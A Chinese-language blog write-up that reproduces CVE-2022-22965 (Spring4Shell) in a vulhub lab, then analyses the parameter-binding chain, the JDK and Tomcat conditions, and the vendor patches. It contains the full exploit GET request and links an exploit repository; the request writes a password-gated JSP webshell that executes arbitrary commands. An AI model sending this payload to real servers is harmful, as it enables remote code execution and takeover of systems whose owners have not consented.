CVE-2022-22965-Spring远程命令执行漏洞
前一段时间网上爆出Spring框架存在RCE漏洞,在网上传了一段时间,3月30日我还特意学了一下CVE-2010-1622-SpringMVC框架任意代码执行漏洞,据说最近出的洞是它的绕过。Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。
exp:https://github.com/liangyueliangyue/spring-core-rce
1. 前置知识
之前介绍过了,也可以查看 https://www.aqniu.com/industry/82365.html 这里的介绍
Panda师傅的这篇文章介绍的也很详细 https://www.cnpanda.net/sec/1196.html
2. 漏洞条件
JDK9及其以上版本;Spring 5.3.17及之前版本;Tomcat 9.0.61及之前版本;- 直接或间接使⽤了
Spring-beans包; - 使⽤了
Spring参数绑定,并且绑定的是⾮基本参数类型,例如⼀般的POJO即可; Web应用部署方式必须为Tomcat war包部署
3. 漏洞复现
这里我直接使用vulhub搭载环境了。
1 | cd vulhub/spring/CVE-2022-22965 |
启动
在浏览器输入http://your-ip:8080/?name=Bob&age=25,可以看到
接下来写入下payload
1 | GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 |

进入docker中的/usr/local/tomcat/webapps/ROOT
jsp文件写入成功
在浏览器输入如下地址http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id
webshell运行成功
使用这里的poc也可以写入成功,只不过需要改一下代码

4. 漏洞分析
因为没有调试,这里就不具体分析了,想要看调试步骤及详细分析的话可以看Refer
将payload URL解码后
1 | class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= |
(1)pattern参数:
参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern=
参数值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
这个参数是Spring多层嵌套参数绑定,整个调用链为:
1 | User.getClass() |
可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValve的pattern属性设置为%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件内容格式。
我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码
即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。
最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):
1 | <% |
接下来看其余的参数
(2)suffix参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
参数值:.jsp
按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。
(3)directory参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory
参数值:webapps/ROOT
按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。
这里提下webapps/ROOT目录,该目录为Tomcat Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。
(4)prefix参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
参数值:tomcatwar
按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。
(5)fileDateFormat参数
参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
参数值:空
按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期
小总结
至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用参数绑定机制,控制了Tomcat AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP webshell。
漏洞利用关键点
关键点一:Web应用部署方式
从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。
ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下使用classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。
这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。
关键点二:JDK版本
在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。
Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults构造方法中当Bean的类型为java.lang.Class时,不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建。
不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:
1 | Foo.getClass() |
这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:
1 | Foo.getClass() |
这就是为什么本漏洞利用条件需要JDK>=1.9。
5. 修复
Spring 5.3.18补丁
通过对比Spring 5.3.17和5.3.18的版本,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。这样的话利用java.lang.Class.getModule()的链路就走不通了。
Tomcat 9.0.62补丁
通过对比Tomcat 9.0.61和9.0.62的版本,可以看到对getResources()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,这样的话利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。
